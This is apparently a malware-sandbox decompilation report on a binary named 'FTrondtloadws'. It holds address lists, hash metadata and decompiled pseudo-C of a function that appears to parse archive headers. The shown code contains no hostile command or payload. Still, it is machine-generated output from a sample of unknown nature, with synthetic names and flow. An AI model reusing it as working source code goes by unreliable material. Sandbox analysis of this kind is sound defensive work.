0x00ceeca8
0x00cef10c
0x00cef116
0x00cef117
0x00cef11d
0x00cef11f
0x00cef588
0x00cef58a
0x00cef58c
0x00cef592
0x00cef594
0x00cef59a
0x00cef59c
0x00cef8ee
0x00cef8ee
0x00cef8f0
0x00cef8f6
0x00cef8fd
0x00cef903
0x00cef905
0x00cef9a3
0x00cef9a3
0x00cef9a5
0x00cef9a6
0x00cef9ac
0x00000000
0x00cef90b
0x00cef90b
0x00cef90e
0x00cef914
0x00cef91a
0x00cef91c
0x00cef922
0x00cef924
0x00cef924
0x00cef926
0x00cef926
0x00cef92f
0x00cef936
0x00cef93c
0x00cef93f
0x00cef940
0x00cef942
0x00cef942
0x00cef946
0x00cef948
0x00cef94a
0x00cef950
0x00cef953
0x00000000
0x00cef955
0x00cef955
0x00cef95c
0x00cef95c
0x00cef953
0x00cef948
0x00cef91c
0x00cef90e
0x00cef905
0x00cef5a2
0x00cef5a2
0x00cef5a2
0x00cef5a5
0x00cef5a9
0x00cef5a9
0x00cef5aa
0x00cef5bc
0x00cef5c9
0x00cef5d8
0x00cef602
0x00cef607
0x00cef60d
0x00cef610
0x00cef616
0x00cef619
0x00cef6b2
0x00cef6b9
0x00cef737
0x00cef73d
0x00cef743
0x00cef746
0x00cef748
0x00cef7d1
0x00cef74e
0x00cef74e
0x00cef754
0x00cef754
0x00cef75a
0x00cef760
0x00cef762
0x00cef764
0x00cef764
0x00cef76a
0x00cef770
0x00cef772
0x00cef77a
0x00cef77a
0x00cef780
0x00cef782
0x00cef784
0x00cef78a
0x00cef78c
0x00cef8a3
0x00cef8a5
0x00cef8ab
0x00cef8ab
0x00cef8ae
0x00cef8af
0x00000000
0x00cef792
0x00cef798
0x00cef798
0x00cef79a
0x00cef7a0
0x00cef7a3
0x00cef7aa
0x00cef7b0
0x00cef7b2
0x00cef7d9
0x00cef7db
0x00cef7dd
0x00cef7df
0x00cef7e5
0x00cef7eb
0x00cef885
0x00cef885
0x00cef888
0x00000000
0x00cef88e
0x00cef88e
0x00cef894
0x00000000
0x00cef894
0x00cef7f1
0x00cef7f1
0x00cef7f1
0x00cef7f4
0x00000000
0x00000000
0x00cef7f6
0x00cef7f8
0x00cef7fa
0x00cef803
0x00cef803
0x00cef805
0x00cef80b
0x00cef80b
0x00cef817
0x00cef822
0x00cef825
0x00cef832
0x00cef835
0x00cef836
0x00cef837
0x00cef83d
0x00cef83f
0x00cef845
0x00cef84b
0x00000000
0x00000000
0x00000000
0x00000000
0x00cef84d
0x00cef84d
0x00cef84d
0x00cef84f
0x00000000
0x00000000
0x00cef851
0x00cef854
0x00000000
0x00cef85a
0x00cef85a
0x00cef85c
0x00cef85e
0x00cef85e
0x00cef85e
0x00cef866
0x00cef869
0x00cef869
0x00cef86f
0x00cef871
0x00cef873
0x00cef87a
0x00cef880
0x00cef882
0x00000000
0x00cef882
0x00000000
0x00cef854
0x00000000
0x00cef84d
0x00000000
0x00cef7f1
0x00cef7b4
0x00cef7b4
0x00cef7b6
0x00cef7bc
0x00cef7c3
0x00cef7c3
0x00cef7c6
0x00cef7c6
0x00000000
0x00cef7b6
0x00000000
0x00cef89a
0x00cef89a
0x00cef89b
0x00cef89b
0x00000000
0x00cef7a0
0x00cef6bb
0x00cef6bb
0x00cef6cd
0x00cef6dc
0x00cef6e1
0x00cef6e4
0x00cef6e6
0x00000000
0x00cef6ec
0x00cef6ec
0x00cef6ef
0x00000000
0x00cef6f5
0x00cef6f5
0x00cef6fc
0x00000000
0x00cef702
0x00cef708
0x00cef70a
0x00cef710
0x00cef710
0x00cef712
0x00cef712
0x00cef714
0x00cef71d
0x00cef724
0x00cef727
0x00cef728
0x00cef72a
0x00cef72a
0x00000000
0x00cef732
0x00cef6fc
0x00cef6ef
0x00cef6e6
0x00cef61f
0x00cef61f
0x00cef625
0x00cef627
0x00cef643
0x00cef646
0x00000000
0x00cef64c
0x00cef64c
0x00cef653
0x00000000
0x00cef659
0x00cef65f
0x00cef661
0x00cef667
0x00cef667
0x00cef669
0x00cef669
0x00cef66b
0x00cef674
0x00cef67b
0x00cef67e
0x00cef67f
0x00cef681
0x00cef681
0x00cef689
0x00cef689
0x00cef68b
0x00000000
0x00cef691
0x00cef691
0x00cef697
0x00cef69a
0x00cef964
0x00cef967
0x00cef96d
0x00cef982
0x00cef987
0x00cef98a
0x00cef6a0
0x00cef6a0
0x00cef6a7
0x00000000
0x00cef6a7
0x00cef69a
0x00cef68b
0x00cef653
0x00cef629
0x00cef629
0x00cef62b
0x00cef631
0x00cef637
0x00cef638
0x00cef8b5
0x00cef8b5
0x00cef8bc
0x00cef8bd
0x00cef8be
0x00cef8c3
0x00cef8c6
0x00cef8c6
0x00cef8c6
0x00cef627
0x00cef8c8
0x00cef8c8
0x00cef8ca
0x00cef991
0x00cef998
0x00cef99f
0x00cef9b2
0x00cef9b8
0x00cef9b9
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00cef8d0
0x00cef8d6
0x00cef8d6
0x00cef8dc
0x00cef8dc
0x00cef8e8
0x00000000
0x00cef8e8
0x00cef125
0x00cef125
0x00cef127
0x00cef12d
0x00cef12f
0x00cef135
0x00cef137
0x00cef4ae
0x00cef4ae
0x00cef4b0
0x00cef4b6
0x00cef4bd
0x00cef4bf
0x00cef51e
0x00cef521
0x00cef527
0x00cef52d
0x00cef533
0x00cef535
0x00cef53b
0x00cef53d
0x00cef53d
0x00cef53f
0x00cef53f
0x00cef541
0x00cef54a
0x00cef551
0x00cef554
0x00cef555
0x00cef557
0x00cef557
0x00cef55f
0x00cef561
0x00cef567
0x00cef56d
0x00cef570
0x00000000
0x00cef576
0x00cef576
0x00cef57d
0x00cef57d
0x00cef570
0x00cef561
0x00cef535
0x00cef4c1
0x00cef4c1
0x00cef4c3
0x00cef4c9
0x00cef4cf
0x00000000
0x00cef4cf
0x00cef4bf
0x00cef13d
0x00cef13d
0x00cef13d
0x00cef140
0x00cef144
0x00cef144
0x00cef145
0x00cef157
0x00cef164
0x00cef173
0x00cef19d
0x00cef1a2
0x00cef1a8
0x00cef1ab
0x00cef1b1
0x00cef1b4
0x00cef230
0x00cef237
0x00cef2fb
0x00cef301
0x00cef307
0x00cef30a
0x00cef30c
0x00cef395
0x00cef312
0x00cef312
0x00cef318
0x00cef318
0x00cef31e
0x00cef324
0x00cef326
0x00cef328
0x00cef328
0x00cef32e
0x00cef334
0x00cef336
0x00cef33e
0x00cef33e
0x00cef344
0x00cef346
0x00cef348
0x00cef34e
0x00cef350
0x00cef467
0x00cef469
0x00cef46f
0x00cef46f
0x00000000
0x00cef356
0x00cef35c
0x00cef35c
0x00cef35e
0x00cef364
0x00cef367
0x00cef36e
0x00cef374
0x00cef376
0x00cef39d
0x00cef39f
0x00cef3a1
0x00cef3a3
0x00cef3a9
0x00cef3af
0x00cef449
0x00cef449
0x00cef44c
0x00000000
0x00cef452
0x00cef452
0x00cef458
0x00000000
0x00cef458
0x00cef3b5
0x00cef3b5
0x00cef3b5
0x00cef3b8
0x00000000
0x00000000
0x00cef3ba
0x00cef3bc
0x00cef3be
0x00cef3c7
0x00cef3c7
0x00cef3c9
0x00cef3cf
0x00cef3cf
0x00cef3db
0x00cef3e6
0x00cef3e9
0x00cef3f6
0x00cef3f9
0x00cef3fa
0x00cef3fb
0x00cef401
0x00cef403
0x00cef409
0x00cef40f
0x00000000
0x00000000
0x00000000
0x00000000
0x00cef411
0x00cef411
0x00cef411
0x00cef413
0x00000000
0x00000000
0x00cef415
0x00cef418
0x00cef4d2
0x00cef4d2
0x00cef4d4
0x00cef4da
0x00cef4e0
0x00cef4e1
0x00000000
0x00cef41e
0x00cef41e
0x00cef420
0x00cef422
0x00cef422
0x00cef422
0x00cef42a
0x00cef42d
0x00cef42d
0x00cef433
0x00cef435
0x00cef437
0x00cef43e
0x00cef444
0x00cef446
0x00000000
0x00cef446
0x00000000
0x00cef418
0x00000000
0x00cef411
0x00000000
0x00cef3b5
0x00cef378
0x00cef378
0x00cef37a
0x00cef380
0x00cef387
0x00cef387
0x00cef38a
0x00cef38a
0x00000000
0x00cef37a
0x00000000
0x00cef45e
0x00cef45e
0x00cef45f
0x00cef45f
0x00000000
0x00cef364
0x00cef23d
0x00cef23d
0x00cef24f
0x00cef25e
0x00cef263
0x00cef266
0x00cef268
0x00cef284
0x00cef287
0x00000000
0x00cef28d
0x00cef28d
0x00cef294
0x00000000
0x00cef29a
0x00cef2a0
0x00cef2a2
0x00cef2a8
0x00cef2a8
0x00cef2aa
0x00cef2aa
0x00cef2ac
0x00cef2b5
0x00cef2bc
0x00cef2bf
0x00cef2c0
0x00cef2c2
0x00cef2c2
0x00000000
0x00cef2aa
0x00cef294
0x00cef26a
0x00cef26c
0x00cef272
0x00cef278
0x00cef279
0x00000000
0x00cef279
0x00cef268
0x00cef1b6
0x00cef1b6
0x00cef1bc
0x00cef1be
0x00cef1d3
0x00cef1d6
0x00000000
0x00cef1dc
0x00cef1dc
0x00cef1e3
0x00000000
0x00cef1e9
0x00cef1ef
0x00cef1f1
0x00cef1f7
0x00cef1f7
0x00cef1f9
0x00cef1f9
0x00cef1fb
0x00cef204
0x00cef20b
0x00cef20e
0x00cef20f
0x00cef211
0x00cef211
0x00cef2ca
0x00cef2ca
0x00cef2cc
0x00000000
0x00cef2d2
0x00cef2d2
0x00cef2d8
0x00cef2db
0x00cef21e
0x00cef225
0x00000000
0x00cef2e1
0x00cef2e3
0x00cef2e9
0x00cef2ef
0x00cef2f0
0x00cef4e7
0x00cef4e7
0x00cef4ee
0x00cef4ef
0x00cef4f0
0x00cef4f5
0x00cef4f8
0x00cef4f8
0x00cef2db
0x00cef2cc
0x00cef1e3
0x00cef1c0
0x00cef1c0
0x00cef1c2
0x00cef1c8
0x00cef472
0x00cef472
0x00cef473
0x00cef479
0x00cef479
0x00cef480
0x00cef481
0x00cef482
0x00cef487
0x00cef48a
0x00cef48a
0x00cef48a
0x00cef1be
0x00cef48c
0x00cef48c
0x00cef48e
0x00cef4fc
0x00cef503
0x00cef503
0x00cef503
0x00cef50a
0x00cef50c
0x00cef512
0x00cef513
0x00cef9bf
0x00cef9bf
0x00cef9c0
0x00cef9c1
0x00cef9c6
0x00000000
0x00000000
0x00000000
0x00000000
0x00cef490
0x00cef496
0x00cef496
0x00cef49c
0x00cef49c
0x00cef4a8
0x00000000
0x00cef4a8
0x00cef137
0x00cef9c9
0x00cef9c9
0x00cef9cf
0x00cef9d1
0x00cef9d7
0x00cef9dd
0x00cef9df
0x00cef9e1
0x00cef9e3
0x00cef9e3
0x00cef9e5
0x00cef9e5
0x00cef9ee
0x00cef9ef
0x00cef9f3
0x00cef9fa
0x00cef9fd
0x00cef9fe
0x00cefa00
0x00cefa00
0x00cefa04
0x00cefa0a
0x00cefa0c
0x00cefa12
0x00cefa14
0x00cefa1a
0x00cefa1d
0x00cefa30
0x00cefa33
0x00cefa39
0x00cefa4e
0x00cefa53
0x00cefa1f
0x00cefa21
0x00cefa28
0x00cefa28
0x00cefa1d
0x00cefa56
0x00cefa56
0x00cefa66
0x00cefa6f
0x00cefa70
0x00cefa72
0x00cefb09
0x00cefb0b
0x00cefb16
0x00cefb16
0x00cefb18
0x00cefb1b
0x00cefb1d
0x00000000
0x00cefb0d
0x00cefb13
0x00cefb13
0x00cefa78
0x00cefa78
0x00cefa7e
0x00cefa81
0x00cefa87
0x00cefa8a
0x00cefa90
0x00cefa92
0x00cefa98
0x00cefa9a
0x00cefa9c
0x00cefa9c
0x00cefa9e
0x00cefa9e
0x00cefaab
0x00cefab2
0x00cefab5
0x00cefab6
0x00cefab8
0x00cefab9
0x00cefab9
0x00cefabd
0x00cefac3
0x00cefac5
0x00cefac7
0x00cefacd
0x00cefad0
0x00cefae4
0x00cefaea
0x00cefaff
0x00cefb04
0x00cefad2
0x00cefad2
0x00cefad9
0x00cefad9
0x00cefad0
0x00cefac5
0x00cefb23
0x00cefb23
0x00cefb23
0x00cefb2f
0x00cefb32
0x00cefb38
0x00cefb3a
0x00cefb3c
0x00cefb42
0x00cefb44
0x00cefb44
0x00cefb44
0x00cefb42
0x00cefb49
0x00cefb4a
0x00cefb4c
0x00cefb4e
0x00cefb4e
0x00cefb50
0x00cefb56
0x00cefb5c
0x00cefb5e
0x00cefb64
0x00cefb64
0x00cefb6a
0x00cefb6c
0x00000000
0x00000000
0x00cefb72
0x00cefb74
0x00cefb76
0x00cefb76
0x00cefb78
0x00cefb78
0x00cefb88
0x00cefb8f
0x00cefb92
0x00cefb93
0x00cefb95
0x00cefb95
0x00cefb99
0x00cefb9f
0x00cefba1
0x00cefba3
0x00cefba9
0x00cefbac
0x00cefbbd
0x00cefbc0
0x00cefbc6
0x00cefbdb
0x00cefbe0
0x00cefbae
0x00cefbae
0x00cefbb5
0x00cefbb5
0x00cefbac
0x00cefbf1
0x00cefc00
0x00cefc01
0x00cefc01
0x00cefc03
0x00cefc05
0x00cefc05
0x00cefc0b
0x00cefc0e
0x00cefc10
0x00cefc12
0x00cefc12
0x00cefc15
0x00cefc16
0x00cefc16
0x00cefc1b
0x00cefc1e
0x00cefc22
0x00cefc22
0x00cefc23
0x00cefc25
0x00cefc2b
0x00cefc31
0x00000000
0x00000000
0x00000000
0x00cefc31
0x00cefb64
0x00cefc37
0x00cefc37
0x00000000
0x00cefc37
0x00cee9bc
0x00cee9b3
0x00cee9aa
0x00cee961
0x00cee965
0x00cee96d
0x00000000
0x00cee96f
0x00cee975
0x00cee97a
0x00cefc56
0x00cefc56
0x00cefc59
0x00cefc64
0x00cefc8f
0x00cefc90
0x00cefc91
0x00cefc92
0x00cefc93
0x00cefc94
0x00cefc99
0x00cefc9a
0x00cefca1
0x00cefca6
0x00cefcac
0x00cefcb1
0x00cefcb2
0x00cefcb2
0x00cefcb2
0x00cefcb8
0x00cefcb9
0x00cefcb9
0x00cefcbc
0x00cefcc2
0x00000000
0x00000000
0x00cefcc4
0x00cefcc9
0x00cefccc
0x00cefcce
0x00cefcd6
0x00cefcd8
0x00cefcda
0x00cefcdf
0x00cefce2
0x00cefce8
0x00cefceb
0x00cefced
0x00cefced
0x00cefced
0x00cefced
0x00cefceb
0x00cefcf0
0x00cefcfc
0x00cefd02
0x00cefd0a
0x00cefd0f
0x00cefd10
0x00cefd15
0x00cefd15
0x00cefd15
0x00cefd15
0x00cefd19
0x00cefd19
0x00cefd1c
0x00cefd23
0x00cefd30
0x00cefc66
0x00cefc66
0x00cefc66
0x00cefc6d
0x00cefc6e
0x00cefc6f
0x00cefc70
0x00cefc79
0x00cefc7e
0x00cefc8c
0x00cefc8c
0x00cefc64
0x00cee96d

APIs

__floor_pentium4.LIBCMT ref: 00CEEA44

Strings

1#QNAN, xrefs: 00CEFC4A
1#SNAN, xrefs: 00CEFC43
1#IND, xrefs: 00CEFC3C
1#INF, xrefs: 00CEFC51

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 5acadcb06aff174476b22167dd38b7c18fad24075477d8c507e5883cb8742dd4
Instruction ID: 372298b9e4c7399633551d1a0855a0d313e117e1407367584f8d63ed611d33f9
Opcode Fuzzy Hash: 5acadcb06aff174476b22167dd38b7c18fad24075477d8c507e5883cb8742dd4
Instruction Fuzzy Hash: 29C25B72E046A88FDB25CF2ADD407EAB7B5EB44344F1441EAD85DE7240E775AE828F40

Uniqueness

Uniqueness Score: -1.00%

Function 00CC3943 Relevance: 9.4, APIs: 2, Strings: 3, Instructions: 666
COMMONCrypto

Download Yara Rule

C-Code - Quality: 79%

			E00CC3943(intOrPtr* __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __ebp;
				void* _t260;
				signed int _t263;
				signed int _t266;
				signed int _t270;
				void* _t273;
				unsigned int _t275;
				signed int _t279;
				void* _t280;
				signed int _t284;
				signed int _t299;
				signed int _t306;
				signed int _t318;
				unsigned int _t319;
				intOrPtr _t320;
				unsigned int _t321;
				intOrPtr _t326;
				signed int _t332;
				char _t339;
				signed char _t341;
				signed int _t353;
				signed int _t354;
				signed int _t367;
				signed int _t368;
				signed int _t370;
				signed int _t374;
				signed int _t389;
				signed int _t391;
				unsigned int _t402;
				void* _t412;
				intOrPtr _t413;
				signed int _t414;
				signed int _t427;
				void* _t428;
				signed int _t443;
				intOrPtr* _t448;
				signed int _t457;
				signed int _t470;
				signed char _t473;
				signed int _t474;
				signed int _t475;
				signed int _t479;
				signed int _t483;
				signed int _t486;
				unsigned int _t489;
				unsigned int _t492;
				signed int _t496;
				signed int _t510;
				signed int _t519;
				signed int _t524;
				signed int _t547;
				signed int _t549;
				signed int _t551;
				unsigned int _t553;
				intOrPtr _t562;
				void* _t563;
				void* _t570;
				signed int _t573;
				void* _t574;
				void* _t582;
				signed int _t584;
				void* _t590;
				void* _t592;
				intOrPtr _t595;
				signed int _t596;
				signed int _t597;
				void* _t598;
				void* _t600;
				void* _t601;
				intOrPtr _t611;

				_t601 = _t600 - 0x64;
				E00CDFD4C(0xcf370d, _t598);
				E00CDFE20(0x2068);
				_t448 = __ecx;
				E00CCDF70(_t598 + 0x38, __ecx);
				 *(_t598 + 0x60) = 0;
				 *((intOrPtr*)(_t598 - 4)) = 0;
				if( *((intOrPtr*)(__ecx + 0x6564)) == 0) {
					L24:
					 *((char*)(_t598 + 0x66)) = 0;
					L25:
					_push(7);
					_t260 = E00CCE195();
					__eflags = _t260 - 7;
					if(_t260 >= 7) {
						 *(_t448 + 0x1a84) = 0;
						 *(_t448 + 0x1a74) = E00CCE006(_t598 + 0x38);
						_t584 = E00CCE171(_t598 + 0x38, 4);
						_t263 = E00CCE106();
						_t457 = _t263;
						__eflags = _t263 | _t547;
						if(__eflags == 0) {
							L97:
							E00CC2544(_t448, __eflags);
							L98:
							_t266 = 0;
							__eflags = 0;
							L99:
							 *(_t598 + 0x60) = _t266;
							L100:
							E00CC1633(_t598 + 0x38);
							 *[fs:0x0] =  *((intOrPtr*)(_t598 - 0xc));
							return  *(_t598 + 0x60);
						}
						__eflags = _t584;
						if(__eflags == 0) {
							goto L97;
						}
						_t60 = _t584 + 4; // 0x4
						_t61 = _t584 - 3; // -3
						_t562 = _t60 + _t457;
						_t270 = _t61 + _t457;
						__eflags = _t270;
						if(__eflags < 0) {
							goto L97;
						}
						__eflags = _t562 - 7;
						if(__eflags < 0) {
							goto L97;
						}
						_push(_t270);
						E00CCE195();
						__eflags =  *(_t598 + 0x4c) - _t562;
						if( *(_t598 + 0x4c) < _t562) {
							goto L26;
						}
						_t273 = E00CCE0E6(_t598 + 0x38);
						 *(_t448 + 0x1a78) = E00CCE106();
						_t275 = E00CCE106();
						 *(_t448 + 0x1a7c) = _t275;
						 *((intOrPtr*)(_t448 + 0x1a80)) = _t562;
						_t563 = _t448 + 0x1a74;
						 *(_t448 + 0x1a84) = _t275 >> 0x00000002 & 0x00000001;
						__eflags =  *_t563 - _t273;
						 *(_t448 + 0x1a6c) =  *(_t448 + 0x1a78);
						_t74 = _t598 + 0x67;
						 *_t74 =  *_t563 != _t273;
						__eflags =  *_t74;
						if(__eflags == 0) {
							L35:
							_t279 = 0;
							__eflags =  *(_t448 + 0x1a7c) & 0x00000001;
							 *(_t598 + 0x30) = 0;
							 *(_t598 + 0x60) = 0;
							if(( *(_t448 + 0x1a7c) & 0x00000001) == 0) {
								L39:
								__eflags =  *(_t448 + 0x1a7c) & 0x00000002;
								_t587 = _t279;
								 *(_t598 + 0x5c) = _t279;
								 *(_t598 + 0x34) = _t279;
								if(( *(_t448 + 0x1a7c) & 0x00000002) != 0) {
									_t402 = E00CCE106();
									_t587 = _t402;
									 *(_t598 + 0x5c) = _t402;
									 *(_t598 + 0x34) = _t547;
								}
								_t280 = E00CC1A52(_t448,  *((intOrPtr*)(_t448 + 0x1a80)));
								asm("adc eax, edx");
								 *((intOrPtr*)(_t448 + 0x6550)) = E00CC460F(_t280 +  *((intOrPtr*)(_t448 + 0x6548)),  *((intOrPtr*)(_t448 + 0x654c)), _t587,  *(_t598 + 0x34), 0, 0);
								 *((intOrPtr*)(_t448 + 0x6554)) = 0;
								_t549 =  *(_t448 + 0x1a78);
								_t284 = _t549 - 1;
								__eflags = _t284;
								if(_t284 == 0) {
									E00CCC1D7(_t448 + 0x1a98, _t563);
									_t470 = 5;
									memcpy(_t448 + 0x1a98, _t563, _t470 << 2);
									_t473 = E00CCE106();
									_t551 = 1;
									 *((char*)(_t448 + 0x6562)) = 1;
									 *(_t448 + 0x655d) = _t473 & 1;
									 *(_t448 + 0x655c) = _t473 >> 0x00000002 & 1;
									 *(_t448 + 0x655f) = _t473 >> 0x00000004 & 1;
									 *(_t448 + 0x6563) = _t473 >> 0x00000003 & 1;
									_t299 = 0;
									 *((char*)(_t448 + 0x6560)) = 0;
									__eflags = _t473 & 0x00000002;
									if((_t473 & 0x00000002) == 0) {
										_t474 = 0;
									} else {
										_t474 = E00CCE106();
										_t299 = 0;
										_t551 = 1;
									}
									 *(_t448 + 0x6580) = _t474;
									__eflags =  *(_t448 + 0x655d);
									if( *(_t448 + 0x655d) == 0) {
										L93:
										_t551 = _t299;
										goto L94;
									} else {
										__eflags = _t474;
										if(_t474 == 0) {
											L94:
											_t475 =  *(_t598 + 0x30);
											__eflags = _t475 |  *(_t598 + 0x60);
											 *((char*)(_t448 + 0x6561)) = _t551;
											if((_t475 |  *(_t598 + 0x60)) != 0) {
												E00CC26D4(_t448, _t551, _t598 + 0x38, _t475, _t448 + 0x1a98);
											}
											goto L96;
										}
										goto L93;
									}
								} else {
									_t306 = _t284 - 1;
									__eflags = _t306;
									if(_t306 == 0) {
										L55:
										__eflags = _t549 - 2;
										_t136 = (0 | _t549 == 0x00000002) - 1; // -1
										_t570 = (_t136 & 0x00002348) + 0x1b38 + _t448;
										 *(_t598 + 0x2c) = _t570;
										E00CCC13D(_t570, 0);
										_t479 = 5;
										memcpy(_t570, _t448 + 0x1a74, _t479 << 2);
										_t590 =  *(_t598 + 0x2c);
										 *(_t598 + 0x58) =  *(_t448 + 0x1a78);
										 *(_t590 + 0x1050) =  *(_t598 + 0x5c);
										 *((char*)(_t590 + 0x10f1)) = 1;
										 *(_t590 + 0x1054) =  *(_t598 + 0x34);
										 *(_t590 + 0x108c) = E00CCE106();
										 *(_t590 + 0x1058) = E00CCE106();
										_t318 =  *(_t590 + 0x108c) >> 0x00000003 & 0x00000001;
										__eflags = _t318;
										 *(_t590 + 0x105c) = _t549;
										 *(_t590 + 0x1092) = _t318;
										if(_t318 != 0) {
											 *(_t590 + 0x1058) = 0x7fffffff;
											 *(_t590 + 0x105c) = 0x7fffffff;
										}
										_t483 =  *(_t590 + 0x1054);
										_t573 =  *(_t590 + 0x105c);
										_t319 =  *(_t590 + 0x1050);
										_t553 =  *(_t590 + 0x1058);
										__eflags = _t483 - _t573;
										if(__eflags < 0) {
											L60:
											_t319 = _t553;
											_t483 = _t573;
											goto L61;
										} else {
											if(__eflags > 0) {
												L61:
												 *(_t590 + 0x1064) = _t483;
												 *(_t590 + 0x1060) = _t319;
												_t320 = E00CCE106();
												__eflags =  *(_t590 + 0x108c) & 0x00000002;
												 *((intOrPtr*)(_t590 + 0x24)) = _t320;
												if(( *(_t590 + 0x108c) & 0x00000002) != 0) {
													E00CD288E(_t590 + 0x1038, E00CCE006(_t598 + 0x38), 0);
												}
												 *(_t590 + 0x1068) =  *(_t590 + 0x1068) & 0x00000000;
												__eflags =  *(_t590 + 0x108c) & 0x00000004;
												if(( *(_t590 + 0x108c) & 0x00000004) != 0) {
													 *(_t590 + 0x1068) = 2;
													 *((intOrPtr*)(_t590 + 0x106c)) = E00CCE006(_t598 + 0x38);
												}
												 *(_t590 + 0x10f8) =  *(_t590 + 0x10f8) & 0x00000000;
												_t321 = E00CCE106();
												_t486 = _t321;
												 *(_t598 + 0x5c) = _t486;
												 *(_t590 + 0x20) = _t321 >> 0x00000007 & 0x00000007;
												_t326 = (_t486 & 0x0000003f) + 0x32;
												 *((intOrPtr*)(_t590 + 0x1c)) = _t326;
												__eflags = _t326 - 0x32;
												if(_t326 != 0x32) {
													 *((intOrPtr*)(_t590 + 0x1c)) = 0x270f;
												}
												 *((char*)(_t590 + 0x18)) = E00CCE106();
												_t574 = E00CCE106();
												 *(_t590 + 0x10f4) = 2;
												 *(_t590 + 0x10f0) =  *(_t448 + 0x1a7c) >> 0x00000006 & 1;
												_t332 =  *((intOrPtr*)(_t590 + 0x18));
												__eflags = _t332 - 1;
												if(_t332 != 1) {
													__eflags = _t332;
													if(_t332 == 0) {
														_t193 = _t590 + 0x10f4;
														 *_t193 =  *(_t590 + 0x10f4) & 0x00000000;
														__eflags =  *_t193;
													}
												} else {
													 *(_t590 + 0x10f4) = 1;
												}
												_t489 =  *(_t590 + 8);
												 *(_t590 + 0x1090) = _t489 >> 0x00000003 & 1;
												 *(_t590 + 0x10f2) = _t489 >> 0x00000005 & 1;
												__eflags =  *(_t598 + 0x58) - 2;
												_t492 =  *(_t598 + 0x5c);
												 *(_t590 + 0x1091) = _t489 >> 0x00000004 & 1;
												if( *(_t598 + 0x58) != 2) {
													L74:
													_t339 = 0;
													__eflags = 0;
													goto L75;
												} else {
													__eflags = _t492 & 0x00000040;
													if((_t492 & 0x00000040) == 0) {
														goto L74;
													}
													_t339 = 1;
													L75:
													 *((char*)(_t590 + 0x10e8)) = _t339;
													_t341 =  *(_t590 + 0x108c) & 1;
													 *(_t590 + 0x10e9) = _t341;
													_t557 = 0x20000 << (_t492 >> 0x0000000a & 0x0000000f);
													asm("sbb eax, eax");
													 *(_t590 + 0x10ec) =  !( ~(_t341 & 0x000000ff)) & 0x00020000 << (_t492 >> 0x0000000a & 0x0000000f);
													__eflags = _t574 - 0x1fff;
													if(_t574 >= 0x1fff) {
														_t574 = 0x1fff;
													}
													E00CCE068(_t598 + 0x38, _t598 - 0x2074, _t574);
													 *((char*)(_t598 + _t574 - 0x2074)) = 0;
													_push(0x800);
													_t575 = _t590 + 0x28;
													_push(_t590 + 0x28);
													_push(_t598 - 0x2074);
													E00CD2F59();
													_t496 =  *(_t598 + 0x30);
													_t352 = _t496 |  *(_t598 + 0x60);
													__eflags = _t496 |  *(_t598 + 0x60);
													if((_t496 |  *(_t598 + 0x60)) != 0) {
														_t352 = E00CC26D4(_t448, _t557, _t598 + 0x38, _t496, _t590);
													}
													__eflags =  *(_t598 + 0x58) - 2;
													if( *(_t598 + 0x58) != 2) {
														_t353 = E00CE7156(_t352, _t575, "CMT");
														__eflags = _t353;
														if(_t353 == 0) {
															 *((char*)(_t448 + 0x655e)) = 1;
														}
														_t354 = E00CE7156(_t353, _t575, L"RR");
														__eflags = _t354;
														if(_t354 == 0) {
															__eflags =  *((intOrPtr*)(_t590 + 0x102c)) - _t354;
															if( *((intOrPtr*)(_t590 + 0x102c)) > _t354) {
																E00CCDF99();
																_push( *((intOrPtr*)(_t590 + 0x102c)));
																 *((char*)(_t598 - 4)) = 2;
																E00CCE24B(_t598 + 8,  *((intOrPtr*)(_t590 + 0x1028)));
																 *((intOrPtr*)(_t448 + 0x1a58)) = E00CCE106();
																 *((char*)(_t598 - 4)) = 0;
																E00CC1633(_t598 + 8);
															}
														}
													} else {
														E00CC25EF(_t448, _t590);
													}
													__eflags =  *(_t598 + 0x67);
													if( *(_t598 + 0x67) != 0) {
														E00CC237A(0x1c, _t448 + 0x32, _t575);
													}
													L96:
													_t266 =  *(_t598 + 0x4c);
													goto L99;
												}
											}
											__eflags = _t319 - _t553;
											if(_t319 > _t553) {
												goto L61;
											}
											goto L60;
										}
									}
									_t367 = _t306 - 1;
									__eflags = _t367;
									if(_t367 == 0) {
										goto L55;
									}
									_t368 = _t367 - 1;
									__eflags = _t368;
									if(_t368 == 0) {
										_t510 = 5;
										memcpy(_t448 + 0x1b00, _t448 + 0x1a74, _t510 << 2);
										_t370 = E00CCE106();
										__eflags = _t370;
										if(__eflags == 0) {
											 *(_t448 + 0x1b14) = E00CCE106() & 0x00000001;
											_t374 = E00CCDFBA(_t598 + 0x38) & 0x000000ff;
											 *(_t448 + 0x1b18) = _t374;
											__eflags = _t374 - 0x18;
											if(__eflags <= 0) {
												E00CCE068(_t598 + 0x38, _t448 + 0x1b1c, 0x10);
												__eflags =  *(_t448 + 0x1b14);
												if( *(_t448 + 0x1b14) != 0) {
													_t592 = _t448 + 0x1b2c;
													E00CCE068(_t598 + 0x38, _t592, 8);
													E00CCE068(_t598 + 0x38, _t598 + 0x58, 4);
													E00CD1335(_t598 - 0x74);
													_push(8);
													_push(_t592);
													_push(_t598 - 0x74);
													E00CD137B();
													_push(_t598 + 8);
													E00CD1252(_t598 - 0x74);
													_t389 = E00CE1592(_t598 + 0x58, _t598 + 8, 4);
													asm("sbb al, al");
													_t391 =  ~_t389 + 1;
													__eflags = _t391;
													 *(_t448 + 0x1b14) = _t391;
												}
